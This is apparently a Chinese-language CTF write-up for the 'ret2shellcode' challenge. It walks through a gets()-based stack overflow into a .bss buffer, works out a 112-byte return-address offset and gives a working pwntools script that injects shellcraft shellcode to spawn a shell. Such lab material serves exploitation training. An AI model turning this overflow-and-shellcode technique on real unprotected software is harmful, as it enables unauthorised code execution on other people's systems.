首先检查文件开启了哪些保护。
可以看到该文件什么保护都没有,这意味着堆栈是可执行的了。
将文件放入IDA反汇编main
函数
可以看到gets
函数接受任意长度的输入,strncpy
函数将输入复制到buf2
上,跳转到buf2
处
可以看到缓冲区在.bss
段上面,可以将shellcode写在该段,然后让程序跳转到该处。
先查看偏移多少可以覆盖返回地址
返回地址偏移112字节。
编写payload
from pwn import *
context.binary = './ret2shellcode' # 指定32位程序
p = process('./ret2shellcode')
ret_addr = 0x0804A080 # 返回地址覆盖处
shellcode = shellcraft.sh() # 使用pwntools内置的shellcode代码
p.sendline(asm(shellcode).ljust(112, 'a') + p32(ret_addr))
p.interactive()
获得shell
网友评论